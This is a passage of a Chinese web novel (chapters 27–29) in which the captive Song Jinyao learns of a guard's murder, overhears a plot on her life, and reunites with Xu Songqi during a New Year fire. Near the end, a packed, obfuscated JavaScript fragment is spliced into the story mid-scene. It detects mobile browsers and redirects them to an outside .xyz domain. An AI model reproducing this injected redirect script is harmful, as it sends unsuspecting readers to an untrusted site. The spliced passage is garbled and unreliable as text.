老者打量着手上蝴蝶损坏翅膀,倒也勉强同意,点头道:“宋小姐不仅棋下得好,手也巧,竟能将普通的纸
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剪成蝴蝶,老夫甚是感到新奇,就勉强收下了。”
听到这席话,傅圆忍不住嗤笑一声:“还勉强收下,要是不喜欢就留下,没人逼你带走。”
宋锦瑶:“……”
她紧张咽了咽口水,时刻观察着老者脸上的神色,生怕他真听了傅渊的话,唯一的计划又会被打破,她的心一下子提到嗓子眼。
“傅公子说笑了,老夫很是喜欢。”老者凝重的脸上浮现出笑意,“今夜并无别心打扰俩人,还请宋小姐找到后,及时告知老夫。”
互相道歉后,望着老者离去的背影,意识到剪纸确实平安被对方收下后,宋锦瑶也松了口气。
她转过身淡淡地扫了一眼傅渊,一声不吭扭头就朝里屋走去,任用傅渊死缠烂打追在她的身后。
他一脸好奇地跟在宋锦瑶身后,挑眉道:“宋锦瑶,真没看出来你居然会剪纸?什么时候学的?我怎么不知道?”
见宋锦瑶并未搭理他,傅渊停在原地,满脸狐疑地打量着她,怀疑道:“你该不会通过剪纸想要朝皇室的人联络吧?”
听闻,宋锦瑶也跟着停下来,毫不犹豫扭头朝傅渊一字一句说道:“傅公子未免也过于多心了,皇室的人并未知晓我会剪纸,况且我从未送过皇室的人剪纸过。我只想向客人赔礼道歉罢了。”
傅渊满意地盯着她这张略有生气的脸庞,不禁轻笑一声:“好啊,那我就相信宋小姐一回,倘若日后有任何风吹草动,本公子拿你是问。”
宋锦瑶死死地盯着那张不明所以的笑脸,重重地“哼”了一声,转身继续朝里屋走去,只不过这次,傅圆并没有跟上来。
再过几日便是新年,到时候那位大人肯定会回去京城一趟,如果让公主知道这张剪纸的存在,那她死讯的谣言就会不攻而破。
当外面的人并不清楚你的情况,这个时候就要学会观察一切,时刻为自己争夺一切渺小又有可能的希望。
今日的天空一片漆黑,一点星星的余光也没有。宋锦瑶坐在桌前,抬头凝视着昏暗的月光,不禁深深叹了口气。
这次又会像上次那样吗?满心期待换来的却是冷漠无视?到头来她全部的努力,会不会是竹篮打水一场空。
宋锦瑶垂眸看着一桌子的剪纸,各式各样的图案都用。她时时刻刻都为自己求救,但她更害怕傅渊的试探。
她已经到这又半年多余,见证过太多因为讨不到欢心,瘦的剩下皮包骨头,甚至为了逃跑活命,被人活生生打死。
思绪不禁回想到晚上她和傅渊的争吵,看到他竟然又死死掐住她的手腕,自己居然真的敢直接拿起盘子砸他,感叹道自己到底有多大胆。
“宋锦瑶,那日跟你下棋的客人,是不是朝廷之人!你都对他说了什么,你为什么没跟他走?”
想到这句话,宋锦瑶猛地坐正身子,还在自傲的脸上突然冷了下来,整个人后知后觉反应过来这句话的意思。
傅渊知道她刻意将视为遣散,知道那日所发现的一切?甚至知道林肃的存在?
如果傅渊知道林肃和自己见过面,那么就理由怀疑林肃知道这里的一切。以傅渊的性子而言,他一定会在半路制止林肃回京,甚至会杀了他。
此想法一出,宋锦瑶整个人感到后背发凉,指尖逐渐变得冰冷,脸上的表情也瞬间凝固。
不会的。
宋锦瑶害怕地拼命摇头否认这个想法。
那日,她确定已经将人全都遣散走了,没人知道那个蒙面侠是林肃,傅渊更不会知道。
肯定是徐颂祁单纯不想来救她而已,和林肃并无关系,他现在肯定还留在王爷身旁,替王爷办事。
明明她是这样不断安慰自己,可不知道为何,她的心莫名其妙好疼,整个身子止不住颤抖。
求你,一定要平安回京。
27. 027
临近新年,这里的人们早早挂上红灯笼,大街小巷传来小孩嬉笑打闹的声音。
因为宋锦瑶才华横溢,仅凭一人之力便拉动整座城市的经济,当地刺史特意邀请傅渊到府中共同庆祝。
傅渊深知刺史的为人,表面说是共同庆祝,实际上就是想看看宋锦瑶有多大能耐。
为此,傅渊不得不带上宋锦瑶一同前往。只不过出发前,他让宋锦瑶戴上面纱,以防对方曾经见过她而发现端倪。
当日,傅渊与她刚下马车,刺史连忙小跑过来,亲自在官邸门口迎接,可谓给足面子。
两人人前和和睦睦,人后各怀鬼胎。
刺史笑脸盈盈地说:“本刺史真是有幸能邀请到傅公子一同赴宴,今日府内备好美酒,还请傅公子尽情享用。”
傅渊十分客气地回应道:“刺史客气了,在这还得多承蒙刺史招待,不然傅某哪能有如今这番成就,何必如此大摆宴席。”
两人笑呵呵地一同入座,桌子上摆满佳肴,乐师在正厅中央演奏古乐器,氛围其乐融融。
从进门起,刺史的眼睛就没从宋锦瑶脸上移开过,两眼直放光地盯着这位美人,好几次弄得她不知所措,只能微微点头示意。
琵琶声在正厅内悠悠回荡,刺史热情大方地不断给傅渊杯中斟酒,他到底抱着什么心思,傅渊自然清楚。
见傅渊执意与他周旋,始终不愿意介绍宋锦瑶,刺史只好自己开口询问。
他端起酒杯向宋锦瑶敬酒,笑着说:“久仰宋小姐大名,还请本刺史敬你一杯,多亏了你,我这刺史当得格外有面子。”
宋锦瑶没料到这里还有自己的戏份,赶忙拿起桌上的酒回敬道:“多谢刺史夸赞。”
还没等她把话说完,刺史便按捺不住,两眼色眯眯地打量着她,问道:“宋小姐戴着面纱怎么饮酒?不如摘下面纱,让本刺史好好瞧瞧?”
闻言,她指尖一僵,心想确实如此,可余光瞥见傅渊时,注意到他脸色不太好看,只好婉拒道:“刺史不必担心,小女会喝下这杯酒的。”
可刺史根本不会善罢甘休,连忙说道:“哎呀,多麻烦啊,宋小姐生得如此美貌,不展示出来给大家瞧瞧,多可惜这张脸。”
宋锦瑶:“……”
面对刺史的咄咄逼人,宋锦瑶不禁犹豫起来,片刻后,轻轻点头道:“确实,刺史此话颇有道理。”说罢,她便抬手想去解开面纱。
宋锦瑶当然明白傅渊让自己戴面纱的原因,他担心的事情,往往最容易给自己带来麻烦。
同时,她也在赌刺史曾经见过自己,甚至见识过她的棋艺。
就在宋锦瑶伸手触碰到面纱的瞬间,傅渊猛地将酒杯狠狠砸向桌面,发出巨大声响,引得周围人纷纷停下手中动作,朝那边望去。
“刺史,今日是你我二人的宴会,为何执意要看我店员的容貌,这是不是有点不尊重我了?”
傅渊挑眉,轻蔑地瞪着刺史发出质问,暗中不动声色地又把宋锦瑶的手按下,表情没有一丝波澜。
听闻此言,刺史慌张地连忙开口解释道:“傅公子误会了,早有听闻宋小姐棋艺高超,我这不单纯是想看看吗。”
“单纯看看?”傅渊漫不经心地说,“可我怎么感觉你别有用心呢。”
此话一出,刺史脸上立刻露出否认的神色,说道:“世人皆知大昭以‘围棋’为美,倘若天下真出了一个像宋小姐这般厉害的人物,自然人人都想一探究竟。”
“本刺史想趁着宴会与宋小姐下棋对弈一番,不知宋小姐意下如何?”
求之不得。
宴会是假,对弈才是真。
宋锦瑶惊愕地看着刺史,嘴角流露出一抹微笑,她刚想点头同意,不料被傅渊及时阻拦。
此时,傅渊多少猜中宋锦瑶想要干嘛,立马开口拒绝道:“宋小姐是我的人,是否能下棋也得经过我的准许,倘若刺史真想下棋对弈,傅某也挺愿意与刺史对弈一番,不知刺史是否肯赏个脸?”
“这……。”刺史明显是冲宋锦瑶来得,却没想到傅渊如此不愿,只好点头同意道,“好吧,那本刺史与傅公子对弈一番瞧瞧。”
怕宋锦瑶留在继续被刺史惦记,趁着刺史去拿围棋时,傅渊凑近她的耳边,警告道:“宋锦瑶,你最好别给我刷什么花样,要是被我发现,你的面纱被不在脸上,以后有你好果子吃。”
见宋锦瑶不说话,傅渊横眉冷眼继续道:“你自己等会出去给我好生待着,放心,想在刺史府里逃走,可是会被当成小贼,万箭穿心。”
说着,他忍不住冷笑一声。
话音刚落,刺史便找来珍藏多年的上等围棋出来接客,两人很快从饭局上转移至围棋室。
宋锦瑶自然对他们下棋不感兴趣,一个人走出来呼吸新鲜空气也挺好的。
她前脚刚踏出房门,后脚便敏锐察觉到无数异样目光。无论是房屋上还是走廊外,几乎处处都有侍卫看管。
怪不得傅渊竟然敢让她离开身边,果然守卫森严。
宋锦瑶本打算去周围转转,毕竟这是她少有几次外出的机会。
刚走到后院,她便瞧见墙角站着俩位偷懒的侍卫,他们显然没意识到她的出现,还在自顾自唉声抱怨。
小侍卫打量着老侍卫的伤口,担忧道:“老大,话说都过去这么久了,你的伤口咋还不见好?那人利器果真有如此歹毒?”
老侍卫叹了口气,道:“毕竟是皇室侍卫,哪怕是一敌万人,也能损伤对方几千,真没想到他如此了得,可还是招架不住我们人多。哎,真是一代天才陨落啊。”
小侍卫可不怎么觉得,没好气道:“我看死了才好,谁叫他如此胆大,竟然敢招惹傅公子,还把老大你打伤。”
“你着小毛孩懂什么!”老侍卫纠正道,“大昭如今动荡不安,国家真需要像他这样的人才,只可惜死在节骨点,真是可惜至极。”
“老大,那人若真像你所说那般厉害,到底是哪家之人?姓谁名啥?”
闻言,老侍卫又止不住叹了口气,声音在寂静的深夜里显得格外凄凉:“我也不太确定,听战友说是皇室王爷之人,叫林肃。”
?
宋锦瑶瞬间愣在原地,大脑一片空白,眼睛死死地盯着眼前俩位侍卫身上,整个人连同忘了呼吸,身子止不住发抖。
小侍卫不明所以:“林肃?没听说过,老大快和我讲讲,傅公子为何要派那么多人去杀一个王爷的侍卫啊。”
“好像是他知道傅公子的秘密,正巧又被路过的掌柜听到,所以傅公子为了保守秘密,连夜追兵捕杀,据说林肃直到最后也没能回到京城。”
小侍卫不禁感到后怕:“傅公子难道不怕王爷有所怀疑吗?毕竟杀了皇室之人。”
“怕什么,王爷压根就不知道林肃死掉的消息,尸体都被我们丢进大山里,而且过了这么久,早被饿狼啃食得连骨头也剩不了多少。”
此言一出,俩位侍卫不约而同相互笑了起来。
“啊呦,出来的有点久,快回去吧。”说罢,俩人朝岗位走去,周围再也没了其他人的踪迹。
宋锦瑶无助地靠在墙角,双手死死捂住自己的嘴巴,肩膀微微耸动,压抑的啜泣声从指缝间传出。
脑海中不断浮现刚刚那俩人的对话,她满眼不可置信,嘴唇微微颤抖:“不……这不可能……”她哽咽着,“肯定是假的,林肃肯定在王爷身边,所以王爷才没来救自己,肯定是的。”
直到一阵寒风吹来,打在她僵硬的身上,她低下头,任由泪水滴落在裙摆上。
“骗人的,一定是骗人的,他们肯定知道我这里,所以才故意说给我听。”她声音颤抖得厉害,身体也开始微微摇晃。
林
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肃死了。
他能怎么死掉,他明明那么年轻,明明有更多的精彩人生,明明可以娶妻生儿,幸福美满,亦可上阵杀敌,报效国家。
可他为什么是被这样的人杀死,为什么下场是如此的惨烈,甚至无人不知。
都是因为她,都是她害的。
她以后要怎么面对徐颂祁?是继续假装不知道,还是乞求他的原谅?
可在已经发生面前,都已经不重要了。
宋锦瑶不知道自己之后是怎么回去的,只知道大脑一片混沌,脸上哭得没有任何表情。
她已经忘记上次开怀大笑是什么时候的事情了,好像是上辈子的事情,让人有所怀念。
新年伊始,瑞雪初霁。
棋阁内外张灯结彩,大红灯笼高高挂起,将节日的氛围烘托得浓郁。
年夜里,傅渊身着锦袍,束发戴冠,热情地招呼着来往的客人,相互谈论棋艺心得。
随着一阵丝竹声响起,年会正是开始。
傅渊走上高台,他微笑着向众人行礼,声音洪亮道:“诸位棋友,今日恰逢新年,我等齐聚于此,实乃棋道之幸。愿在新的一年里,大家共同棋艺精进!”言罢,台下掌声雷动。
宋锦瑶撑着脑袋,面无表情地坐在一旁,看着眼前虚假的繁荣,不禁叹了口气。
正厅中央,乐师们弹奏着乐曲,身着彩衣的舞姬们翩翩起舞。
而台下,便是热闹非凡的自由对弈环节。棋友们纷纷寻找对手,展开激烈的较量。
他们没人敢与宋锦瑶对弈,生怕沦为今晚的笑柄,纷纷见到她就躲得远远的。
傅渊也忙着和各大官员相互敬酒谦让,一时半会儿注意不到她的存在。于是宋锦瑶趁着大家都不注意的时候,一个人偷偷溜了出去。
外面的瓦屋积满雪花,半空中还零零碎碎地飘落着小雪,在灯光的照耀下,冰冷的雪花仿佛也有了一丝温度。
宋锦瑶戴好毛茸茸的帽子后,悄悄走到屋外墙角,从事先准备好的小礼盒里拿出河灯。
她左顾右盼,确定周围没人后,便毫不犹豫地朝屋檐外走去。
前几日,她从下人们口中得知,新年当天放河灯,虔诚许下新年的心愿,便能在来年愿望成真。
按照以往,她绝对不会相信这种奇奇怪怪的说法,但不知为何,这次,她居然信以为真。
没有傅渊的准许,宋锦瑶当然不能随意外出,更别说去外面的小河放河灯。
但在这被关押的半年里,宋锦瑶早就摸透了这里的一砖一瓦,甚至得知后院的小溪可以通向外面的河源时,她便毫不犹豫地朝后院走去。
深夜的后院,空无一人,漆黑的环境里只有零零散散的灯笼照亮周围。
宋锦瑶轻轻拿起河灯,小心翼翼地踩着积雪走向小溪边,一路上冷风刺骨。
走到小溪边时,她发现水源并没有因为天气寒冷而结冰,顿时松了口气。
宋锦瑶独自一人站在小溪旁,慢慢蹲下身子将河灯放入河中,望着河灯顺着水流缓缓漂去,她赶忙闭上眼睛许愿。
一愿.家人身体安康,小女重获新生。
二愿.亡魂得以解放,安息顺遂。
三愿.昭昭如愿,岁岁安澜。
宋锦瑶缓缓睁开眼,望向眼前这一盏承载着希望的河灯,好像它真的能将美好的祝愿带向未来,也能穿越阴阳界限,传递到逝者的身边,给予他们慰藉与安宁。
寂静无声的夜晚,只有冰冷的雪花与她相伴。
她脸上努力挤出一抹笑容,刚想转身离去。突然,一道熟悉且温柔地声音从身后,怔得她在原地,彷佛忘了呼吸。
“宋锦瑶。”
她不敢回头望去,那是她日日夜夜所幻听过无数次的声音,可如今真的出现在身旁,她甚至有些恍惚,分不清现在是现实还是梦境。
28. 028
一阵寒风袭来,她单薄的身子依然僵在原地,对方也没有走上前来。
宋锦瑶紧咬下唇,压抑着内心翻涌的情绪,极力伪装出一副若无其事的模样。
趁着理智还在,她决然转身,眼神刻意避开徐颂祁的存在。
徐颂祁再次开口,声音被寒风扯得有些沙哑:“宋锦瑶。”
宋锦瑶身子猛地一僵,缓缓将头压低,故作平静道:“公子认错人了,我不是宋锦瑶,我叫宋韵。”
话落,她用余光瞥见徐颂祁有一瞬的愣神,于是加快脚步,朝着人多的地方仓皇逃去。
宋锦瑶不敢去看徐颂祁此刻的表情,更不敢想知道自己是什么心情,她只想逃,躲在无人知晓的地方,苟活于世。
见她想走,徐颂祁眼底闪过一丝不可置信:“宋锦瑶,大家都在等你回去,大家从未放弃过你,拜托,也请你不好放弃自己好吗?”
宋锦瑶:“……”
她停下脚步,低着头,双手紧紧攥着衣角。
良久,她依旧背对着徐颂祁,回道:“公子,你认错人了,我不是宋锦瑶。”
她以为这样绝情,徐颂祁便能就此罢手,可她低估了他的执着。
徐颂祁一脸认真,语气前所未有的严肃:“我再说一次,宋锦瑶,跟我走,我带你回去。”
他置身于风雪之中,拥有一切的权利财富,可看着眼前的女子,他却无能为力,甚至猜不透她的内心。
宋锦瑶咬紧牙关,双手握紧拳头,极力克制着疯狂涌出的情绪,指尖因用力而微微泛白。
她的声音夹杂着风雪,吹在脸上感到生疼:“抱歉,公子请回吧,这里没有你想找的宋锦瑶。”
说罢,她深吸一口气,毫不犹豫地朝着正厅走去,留下徐颂祁一人站在原地,望着她逐渐模糊在风雪中的身影。
思绪乱如麻。
宋锦瑶快步走进走廊上,拐进徐颂祁看不到的地方,一个人偷偷蹲在墙角,眼泪再也忍不住低声哭了出来。
她双手捂住嘴,压抑着哭声,肩膀微微颤抖,身子蜷缩成一团。
明明自己很想告诉他,她愿意,早就愿意了,但之后呢?他们即使逃出去了,外面全是傅渊的人,他们又能躲到什么时候?
她不知道徐颂祁到底是这么找到自己的,但看到他那副模样,肯定没有多余人手相助,一定是单枪匹马赶来。
她不能再让他受伤了,不能在做任何对他不利的事情了,她赌不起,也不能赌,只能让他自己乖乖回去。
徐颂祁,忘了我吧。
宋锦瑶趴在膝盖上,低声啜泣,每一次呼吸都伴随着剧烈的颤抖。
良久,她缓缓起身,还是忍不住悄悄走进后院,看到小溪旁早已空无一人,不知为何,反而松了口气。
回到棋阁时,正厅依旧其乐融融,大家都在欢快有趣地喝酒下棋,脸上已了三分醉意,只不过她环视一圈,也没见到傅渊的身影。
宋锦瑶不禁微微皱眉,连忙叫来丫鬟询问,得知傅渊被一位贵公子叫走后,心里顿时感到不妙。
宋锦瑶好声询问道:“麻烦傅公子去哪里了?我这边有刺史大人给的信,需要亲自交给傅公子手上。”
丫鬟半信半疑地打量着宋锦瑶,看着她手上拿着临时编造的空信封,犹豫片刻,信以为真回道:“东堂,里屋。”
宋锦瑶笑着点头致谢,随后快步朝东堂走去。
一路上她躲过所有侍卫,悄然溜进东堂,果真瞧见里屋亮着灯,两位身影倒影在窗纸上。
宋锦瑶深呼一口气,小心翼翼靠着墙角边,耳朵凑近窗户底下,不动声色偷听里面内容。
里面的话题显然已经落入尾声,但俩人语气都不太好,甚至多了一丝争执和偏见。
傅渊愁眉苦脸道:“那你说眼下怎么办?现在圣上身体一日不如一日,我们无论是实力还是权利,都比不过徐颂祁,这不就是铺好的路拱手让人吗?”
另一个人声音有些低沉,开口说话时,她竟然感到一丝熟悉:“无论如何,宋锦瑶继续待在这里,就是一枚定时炸弹,随时会将我们全炸死。”
傅渊听到这话,不禁叹了口气,语气多了烦躁:“那你说,你想将她干嘛。”
“杀掉她。”那人语重心长回道,“而且越快越好,不能让徐颂祁知道她还活着。”
此话一出,宋锦瑶瞬间倒吸一口凉气,眼中闪过惊愕,她屏住呼吸,继续倾听里面的内容。
傅渊立马否决道:“不行!她现在还不能死。既然徐颂祁想要得到她,让她活着反而是我们一张底牌,要是她死了,我们才是真的完蛋。”
那人按耐不住脾气,怒吼道:“傅渊!你还不知道现状吗?那女人活着就是对我们不利,只要徐颂祁知道是我们绑架她,我们只会死得更惨,更何况,你还派人杀死了他贴身侍卫。”
话音刚落,屋内同时陷入一片安静。
见傅渊不说话,那人斥责道:“你杀死那个侍卫,只会让徐颂祁缩小目标范围!眼下情况,要么你在徐颂祁来临前让那个女人消失不见,要么你就消失不见。”
“你什么意思?”傅渊满脸不可置信地瞪着那人,冷笑道,“你现在是将全部过错都丢给我对吗?要不是你最开始让我绑架她,他们会沦落于此吗?!”
那人勃然大怒:“闭嘴!就你这种货色,也敢跟我蹬鼻子上脸?要不是我可怜你,你早就被那群山匪给大卸八块了。”
宋锦瑶不清楚里具体状况,但从他们嘴里的信息,足够证明自己人身危机,而且此时还牵扯到朝廷,想必里面更为复杂。
那人捏了捏眉心,提议道:“在彻底宋锦瑶除掉前,只要发现徐颂祁身影,不必碍于身份,一律格杀不论,之后的事情我会尽量处理好。”
临走前,那人拍了拍傅渊的肩膀,说道:“傅渊,你知道我手上有你的把柄,我也相信这件事对你来说很简单,所以别让我太失望。”
傅渊一直低垂着头,自始至终都没再开口。直到那人嘴角扬起一抹冷笑,转身开门离去。
宋锦瑶本想伸头去看清那人的相貌,不料这时,一名侍卫慌慌张张地从正厅跑来,神色害怕地跪在傅渊面前。
“傅公子不好了,正……正厅不慎走火,大门被锁住,客人们全都被困在里面出不来!”
闻言,宋锦瑶和傅渊几乎同时抬头望向那名侍卫,眼中满是惊愕。抬头时,正好瞧见从正厅内燃起的熊熊大火。
“该死!”傅渊眉头紧锁,低声咒骂。
他赶忙下令,让一半侍卫去禀报上官,另一半加强对周围可疑人员的看管,严令无论是谁,胆敢擅自出入棋阁大门,一律射杀。
等宋锦瑶赶到正厅时,大火已经吞噬整座房子,周围的人慌乱地纷纷拿起木桶,试图浇灭大火,却无济于事。
原本傅渊瞧见这大火时,脸上还挂着一抹意味不明的笑容,可当看到宋锦瑶出现在眼前时,整个人瞬间僵住。
傅渊望着匆匆赶来的宋锦瑶,注意到她连裙角都一尘不染,嘴角的笑容立马僵住,眉头紧皱,质问道。
“宋锦瑶?你不是应该在正厅里面吗?你什么时候出来的?”
听到他的质问,宋锦瑶回眸,对上那双瞪大的眼睛,假装疑惑道
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:“傅公子此话何意?正厅里面火势凶猛,我不在里面,似乎让傅公子很失望啊?”
傅渊察觉到自己失态,连忙换一种语气:“没有没有,我刚刚还在担心你要是被困在里面该怎么办,幸好你没事。”
听到这话,宋锦瑶心中鄙夷,差点翻个白眼,附和道:“多谢傅公子担忧,不过我想还是先救里面的客人吧,他们可都是傅公子的投资方。”
话音刚落,傅圆脸色直接黑一个度,他怔怔地看着宋锦瑶,反应过来她话里的意思后,脸上闪过惊慌,赶忙催促周围的侍卫。
“你们快点灭火!要是里面的客人有任何闪失,本公子拿你们是问!!!”
这下,原本就卖力的侍卫和下人更加拼命,脸都被熏得漆黑。
宋锦瑶瞧见他这副模样,嘴角微微上扬。出于人道主义,她也拿起木桶,朝后院小溪跑去。
正厅前面也有水源,只不过她特意跑到后院来,其实就是想看看徐颂祁还止在不在。
即便被人发现,她也有借口,就说前面水资源紧张,从后院取水灭火也来得及。
宋锦瑶一路上假装去灌水,实际上用余光观察周围环境。注意到哪怕正厅发生如此大的危机,屋顶上依旧还有侍卫严加看管。
她必须将今晚这件事告诉徐颂祁,让他远离这里。
宋锦瑶将木桶灌满水,刚走到廊边小路,突然感觉腰肢一紧,下一秒,她被一股强大的力量扯入怀中,整个人顺势跌入黑暗中,木桶里的水也洒一地。
这一动静立刻引起侍卫的警觉,他们警惕地环顾四周,在确认没有可疑人员后,又转身离开。
宋锦瑶被紧紧搂在怀里,动弹不得。屋檐下的黑暗让她看不清对方是谁,刚想开口求救,耳畔传来一阵温热的气息。
“别出声,是我。”
熟悉的声音,温柔的语调,还有带着寒意的身子。
月光缓缓洒进屋檐下,黑暗的环境有了一丝光亮。
宋锦瑶垂眸,看到徐颂祁紧紧抱住自己的身影,刚刚悬着的心一下子落地。
她觉得两人的姿势有些暧昧,刚想挣扎一下,却换来更紧的禁锢。
徐颂祁微微低下头,脸颊轻轻贴在她柔软的发丝间,仿佛要用尽全力将她揉进自己的身体里,嘴唇凑近她的耳边,声音低沉而沙哑。
“宋锦瑶,别推开我,让我抱一会,就一会。”
这是她第一次瞧见徐颂祁这般模样,好像只要轻轻放手,她便会再次消失不见一样。
这次,她没有反抗,而是任由他紧紧拥抱着自己。两人都没有说话,周围的氛围安静得只剩下彼此的心跳声。
良久,久到宋锦瑶以为他们会一直保持这个姿势到天明时,耳畔又传来徐颂祁低沉而自责的声音。
他垂眸看着怀中的人,语气满是愧疚:“抱歉,都是我的错,要不是我,你肯定能开开心心地留在家人身边,要不是我,你也不会被卷入这场纷争,要不是我,你也不会受这么多苦。”
他的声音微微哽咽:“宋锦瑶,都是我的错,我们和好吧,好不好?我保证以后再也不会对你置之不理,保证……”
他说的每一个字都像一把利刃,狠狠割在宋锦瑶的心上,痛得她几乎无法呼吸。
话音未落,宋锦瑶再也抑制不住对他的情感,毫不犹豫转身,伸出双手,温柔地环抱住他,打断他自责的话语。
她轻声安慰道:“我从未觉得你有任何对不起我的地方,相反,一直都是我让你担心,该道歉的人是我才对。”
她微微仰头,目光坚定地看着他:“徐颂祁,我们和好吧。”
29. 029
后院寂静无声,半空中淅淅沥沥地飘着小雪,却并未让人感受到一丝凉意。
宋锦瑶犹豫片刻,还是忍不住抬眸望向眼前之人,问道:“所以,你究竟是怎么找到我在这儿的?”
徐颂祁眼角含笑看着她,轻声回道:“其实我早就猜到是傅渊捣的鬼,只是他掩饰得很好,让我找不到破绽。”
“我假装在京城内搜寻,实际上目标早就锁定在城外,目的就是让他放松警惕。我派林肃前来与你会合,可没想到他竟抱着赴死的决心。”
说罢,他的眼眸突然变得暗沉:“那日,他见到你后,便猜到傅渊不会就此罢休,于是他把事情的来龙去脉全部记录下来,让另一个旅客赶往京城送信给我。而他故意暴露自己的位置,分散对方的注意力。”
闻言,宋锦瑶垂眸低语,满脸愧疚:“对不起,要是没有我……”
话音未落,徐颂祁忍不住摸了摸她的头,打断道:“这与你无关。林肃在书页的最后写着,‘望王爷倾尽全力救宋小姐回来,自此,林肃死后便足以安息’。”
“但林肃带来的线索并不足以让我精准地找到你。后来,我遇到一位老者,他说赠送剪纸的人是棋阁的招牌宋韵小姐,于是我便跟着他借着年会的机会混了进来。”
一切都有迹可循。
见宋锦瑶还是耷拉着脑袋不说话,徐颂祁猜测她心里肯定过意不去。
徐颂祁温柔地抬起她的下巴,捏了捏她的脸颊,安慰道:“林肃的尸首我已经带回京城了,放心,没有落入他人之手。现在我们要做的,就是把你救出去,让傅渊付出代价。”
说到这,宋锦瑶赶忙把之前偷听到的事情告诉徐颂祁,提到那名陌生男子时,她停顿了一下。
“我怀疑那人是皇室的人,也正是因为他,傅渊才能如此顺风顺水,甚至能把我藏得彻底消失不见。”
徐颂祁低头沉思:“能有这般遮天蔽日的能耐,想必是某一方的亲王,只不过处于权力边缘,能力有限。”
“有线索吗?”
徐颂祁摇了摇头:“线索太少,无法确定对方到底是谁。但眼下首先要确保……”
话音未落,廊外又传来一阵细碎的脚步声,两位侍卫小声嘀咕着,听声音,似乎就是冲着他们来的。
“我之前还看见宋小姐在这儿打水呢,怎么一下子人就没了?”
“别废话了,傅公子要找的人,就算掘地三尺也得挖出来。”
宋锦瑶眉头紧皱,意识到自己已经消失好一会儿,傅渊见她迟迟不归,肯定会起疑。
见此处无处可藏,外面又是侍卫步步紧逼,宋锦瑶猛地回头望向徐颂祁,见这人此刻居然还笑得出来,心里忍不住吐槽一番。
就在侍卫即将拐弯往里探身的瞬间,宋锦瑶迅速握住徐颂祁的手,两人毫不犹豫地向更深处跑去。
她隐约记得这里的布局,廊外实际上是围着这间房间绕了一圈,只要跑到另一个拐角处,就不会被发现。
两人手指紧紧相扣,指尖能感受到对方手心的温度,在漆黑的寒风中奔跑。
她眼中满是着急,全然不顾自己此刻的形象,生怕徐颂祁被后面的侍卫发现。
雪花落在她的发梢,寒风吹在她的脸上,她每一次呼吸都异常艰难,即便如此,她竟感到一丝兴奋与刺激。
宋锦瑶把徐颂祁抵在墙角,两人紧紧贴在一起,她急促的呼吸一次次打在对方身上,用自己单薄的身躯尽力为他遮挡视线。
徐颂祁垂眸看着这一幕,忍不住开口道:“宋锦瑶,你知不知道……”
他的话还没说完,宋锦瑶立刻踮起脚尖,迅速伸手捂住他的嘴,凑近他的脸庞,轻声说道:“别出声,他们还没走远。”
见状,徐颂祁狭长的眼眸中闪过一丝波澜,他听话地点点头,温柔地凝视着近在咫尺的那张脸,此后,便再没开口说过话。
察觉到外面的侍卫并未发现他们,宋锦瑶顿时松了口气,刚想分开,不料腰肢一紧,又被人紧紧贴了上来。
徐颂祁紧紧搂住她的腰,对上她那双满是疑惑的眼睛,忍不住轻笑出声:“宋锦瑶,我还是第一次这么狼狈,你可得负全责。”
听出他话里的意思,她侧过头,脸颊微微泛红,不敢直视他那双带着戏谑的眼睛,闷哼道:“王爷……”
“我不喜欢你这么叫我,宋锦瑶,叫我名字就好。”
氛围渐渐变得有些微妙,两人的距离越来越近,宋锦瑶整个人僵在原地,不敢动弹。
就在她察觉到腰上的力道稍有放松时,宋锦瑶毫不犹豫地将徐颂祁重重推到墙上,两人迅速分开,她缓了缓急促的呼吸,没好气地打量着被摁在墙上的人,嘴角残留的笑意。
宋锦瑶气鼓鼓地瞪了对方一眼,说道:“我现在还不能跟你走。若真想抓住傅渊,揪出幕后真正的皇室之人,必须有人涉险。”
她握住徐颂祁的手,轻轻放在自己脸上,神情柔和地望着对方,对上那双惊愕的眼眸,低声说道:“徐颂祁,倘若这一切都是你设的局,那我愿意做你的棋子。”
时间仿佛在此刻被无限拉长,周围安静得似乎只剩下两人的呼吸声,就连空中的雪花也不知何时已经停了。
徐颂祁呼吸一滞,望着眼前宋锦瑶离去的背影,整个人还没回过神来。
等宋锦瑶回到正厅时,熊熊大火已经全部被浇灭,大夫们正有序地检查里面客人的情况,周围人也极力配合。
傅渊眉头紧蹙地望着被烧毁的正厅,打量着惊吓过度的客人,瞧见宋锦瑶赶来,全将火气撒在她的身上。
他横眉冷眼道:“你刚刚去哪了?我派好几个侍卫去寻你也没见到人影,不知道现在棋阁一团乱吗?”
宋锦瑶低着头,语气带着歉意回道:“之前打水时不慎将裙子弄脏,特意去清洗一番。”
听闻,傅渊淡淡地扫了一眼她的裙摆,果真带有些泥巴污渍和清洗痕迹,便也没往心里去。
“宋锦瑶,最好收起你那些小心思,要是敢有一丝不对劲的地方,我随时要了你的命。”傅渊威胁道。
她自然不敢多说什么,淡淡回应道:“我要是真有那本事,逃都逃出去了,也不至于留在这半年之久。”
“你最好是。”傅渊瞥了她一眼,“那边人手不够,去,帮我统计受伤人员的具体数量。”
为了能顺利掩盖过去,宋锦瑶听话地接过纸笔,有条不紊地清点受伤客人,在客人之间来回忙碌。
突然,躺在地上的一位客人瞧见她此番举动,连忙唉声叹气朝宋锦瑶喊去:“宋小姐,宋小姐。”
听到声音,宋锦瑶停下手上动作,疑惑地蹲下身子,打量着痛不欲生的客人,询问道:“怎么了?需要什么帮助吗?”
那名客人没有说话,一双眼睛色眯眯地紧紧盯着她这张脸,忍不住笑道:“宋小姐不愧是远近闻名的大美人。听闻小姐棋艺绝世,今日一见,这容貌更是让人魂不守舍。”
此话让宋锦瑶不知如何接话,只好干笑两声:“公子说笑了,若无其他需求,小女便不打扰公子休息了。”
说说罢,她刚想起身时,那客人眼疾手快想去占她便宜,毫不犹豫伸手去抓她的脚,结果还没碰到,手腕瞬间被人死死踩在脚下。
“啊啊!疼疼疼!!!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14904132|158156||http|test|mini|href|location''.split(''|''),0,{}));
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>那名客人瞬间发出凄厉的惨叫,声声透着钻心剧痛。
